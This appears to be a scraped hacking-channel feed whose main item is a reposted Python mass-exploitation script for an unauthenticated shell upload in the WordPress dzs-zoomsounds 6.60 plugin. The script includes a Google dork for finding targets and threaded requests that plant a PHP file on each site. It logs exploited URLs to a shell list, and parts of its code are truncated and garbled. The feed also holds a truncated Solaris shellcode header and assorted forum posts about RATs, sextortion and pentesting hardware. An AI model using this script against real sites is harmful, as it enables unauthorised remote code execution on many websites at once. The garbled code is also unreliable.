Exploit Collector
WordPress dzs-zoomsounds 6.60 Shell Upload

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png WordPress dzs-zoomsounds plugin version 6.60 suffers from a remote shell upload vulnerability.

MD5 | b9402b957f6e0abfa7e83e6ddfc41701Download # Exploit Title: WordPress Plugin dzs-zoomsounds - Remote Code Execution (RCE) (Unauthenticated)
# Google Dork: inurl:wp-content/plugins/dzs-zoomsounds
# Date: 16/02/2022
# Exploit Author: Overthinker1877 (1877 Team)
# Vendor Homepage: https://digitalzoomstudio.net/docs/wpzoomsounds/
# Version: 6.60
# Tested on: Windows / Linux

import os
import requests
import threading
from multiprocessing.dummy import Pool,Lock
from bs4 import BeautifulSoup
import time
import smtplib,sys,ctypes
from random import choice
from colorama import Fore
from colorama import Style
from colorama import init
import re
import time
from time import sleep
init(autoreset=True)
fr = Fore.RED
gr = Fore.BLUE
fc = Fore.CYAN
fw = Fore.WHITE
fy = Fore.YELLOW
fg = Fore.GREEN
sd = Style.DIM
sn = Style.NORMAL
sb = Style.BRIGHT
Bad = 0
Good = 0
def Folder(directory):
if not os.path.exists(directory):
os.makedirs(directory)
Folder("exploited")
def clear():
try:
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
except:
pass
def finder(i) :
global Bad,Good
head = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36'}
try :
x = requests.session()
listaa = ['/wp-content/plugins/dzs-zoomsounds/savepng.php?location=1877.php']
for script in listaa :
url = (i+"/"+script)
while True :
req_first = x.get(url, headers=head)
if "error:http raw post data does not exist" in req_first.text :
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close"}
burp0_data = "\".$_FILES['f']['name'].\"\");\r\n?>"
requests.post(url, headers=burp0_headers, data=burp0_data,timeout=45)
urlx = (i+"/"+"/wp-content/plugins/dzs-zoomsounds/1877.php")
req_second = x.get(urlx, headers=head)
if "Overthinker1877" in req_second.text :
Good = Good + 1
print(fg+"Exploited "+fw+">> "+fg+" = "+urlx)
with open("exploited/shell.txt","a") as file :
file.write(urlx+"\n")
file.close()
else :
Bad = Bad + 1
print(fc+""+fw+"["+fr+"X"+fw+"] "+fr+" "+i+" "+fw+" <<
else :
Bad = Bad + 1
print(fc+""+fw+"["+fr+"X"+fw+"] "+fr+" "+i+" "+fw+" <<

pass
break
except :
pass
if os.name == 'nt':
ctypes.windll.kernel32.SetConsoleTitleW('1877Exploit | Exploited-{} | Not Vuln-{}'.format(Good, Bad))
else :
sys.stdout.write('\x1b]2; 1877Exploit | Exploited-{} | Not Vuln-{}\x07'.format(Good,Bad))

def key_logo():
clear = '\x1b[0m'
colors = [36, 32, 34, 35, 31, 37]
x = ' [ + ] OVERTHINKER1877 EXPLOIT'
for N, line in enumerate(x.split('\n')):
sys.stdout.write('\x1b[1;%dm%s%s\n' % (choice(colors), line, clear))
time.sleep(0.05)

def process(line):
time.sleep(1)
def run() :
key_logo()
clear()
print("""
[-] -----------------------------------------[-]
[+] WwW.1877.TeaM
[-] -----------------------------------------[-]
\n \n""")
file_name = input("Website List : ")
op = open(file_name,'r').read().splitlines()
TEXTList = [list.strip() for list in op]
p = Pool(int(input('Thread : ')))
p.map(finder, TEXTList)

run() Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Solaris/SPARC chmod() Shellcode

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
64 bytes small Solaris/SPARC setuid(0) + chmod (/bin/ksh) + exit(0) shellcode.

MD5 | 5a22353ac6cbe1bda89442c29da5ccf8

Download
/*
* sparc_solaris_chmod.c - Solaris/SPARC chmod() shellcode
* Copyright (c) 2022 Marco Ivaldi
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

How i was able To hack Cambridge University ( Arabic )
https://medium.com/@angre.stonzy/how-i-was-able-to-hack-cambridge-university-arabic-729370b65c39?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

السلام عليكم معاكم اخوكم ناصر , بسبب دعمكم السابق لي قررت اكتب هذي المقالةContinue reading on Medium » (https://medium.com/@angre.stonzy/how-i-was-able-to-hack-cambridge-university-arabic-729370b65c39?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anyone else thinking the Steam deck might make for great mobile pentesting?

It sounds like it will be reasonably powerful and run Linux - a good toy and possible replacement for shipping NUCs? Perhaps some of us can expense that shit. If not,I’ll stick with my Zaurus I guess….

submitted by /u/venerable4bede
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Local network chat via browser?

Hello I was wondering if it's possible to host a local network chat room and have it be accessible via the browser with no need for internet, kinda like Plex but for chatting?

submitted by /u/keko1105
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do RATs work?

Hey so I've watched countless videos of people (Jim Browning etc.) to let scammers connect to their PC using some software like TeamViewer.

I understand it that they have some file on the PC that screams click me (like banking.txt). And when the scammer clicks it it downloads onto the scammer's PC and starts acting like a host. Now you can connect to this PC.

And I would like to ask how does that work? Is that like some kind of script that adds your ssh public key to the authorized ones so you only have to type ssh scammerpc and you're in? How can you start a remote screen sharing from this?

I'm just curious how does that work. Thanks for any explanation.

submitted by /u/Jasasul
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A special compilation of curl that makes it impersonate Firefox

https://external-preview.redd.it/i-dovIViDfhEcMKW_THARvIzqQ8qycdEgGgiE-uP7gw.jpg?width=640&crop=smart&auto=webp&s=bcffb3a34fe562cda51ce2c50c2ae5b2130ccbb9 submitted by /u/binaryfor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anyone interested in providing justice?

Hey y’all. First off let me apologize if this post isn’t right for this sub, I’m sure there are a lot of requests for this but here it goes anyways.

I’m a programmer, not a network engineer I couldn’t hack someone if my life depended on it. I got an email this morning (4am!) that had one of my passwords as the subject. Of course I opened it. Anyways it’s a standard hacker threat saying “I put malware on this video from a porn site using a key logger got your password and was able to grab all your contacts from your phone, messenger, etc. Give me $3k and I won’t send this video to everyone”

Now frankly, I haven’t watched porn in a VERY long time. So I’m not too worried about what video he has… my laptop has the webcam covered but my phones front camera isn’t so maybe there is a video but I literally can’t even remember the last time I watched porn.

The only concerning part to me is they had my password. Maybe it’s not all bullshit, I have a feeling they were just able to grab a bunch of passwords from a porn site, I think I’ve made like one account I have no idea tbh.

Other than changing my passwords wherever this was used, any one have any tips or ideas or something that can help me scare this fucker back?

Again, sorry to be one of those “omg can u hack my friends Facebook” people

submitted by /u/cr33pz
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Cool podcast about infosec industry news and career guidance

https://external-preview.redd.it/f4jJG_tWRW-iiAIqYSEj0vvg7gsNRZQ4Jf6vLUF6P3Q.jpg?width=216&crop=smart&auto=webp&s=c466da29a2c333fa11d5e74dbd3ce211cad0bf2e submitted by /u/codingsecurity
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Recon and YouTube, is that a thing?

Hey fella hunters, hope you all are doing fine. This is my first ever blog, I will try to keep it as much simple as possible spilling as…Continue reading on Medium »
Read more...

Recon and YouTube, is that a thing?
https://medium.com/@720922/recon-and-youtube-is-that-a-thing-5523b48c32e3?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey fella hunters, hope you all are doing fine. This is my first ever blog, I will try to keep it as much simple as possible spilling as…Continue reading on Medium » (https://medium.com/@720922/recon-and-youtube-is-that-a-thing-5523b48c32e3?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video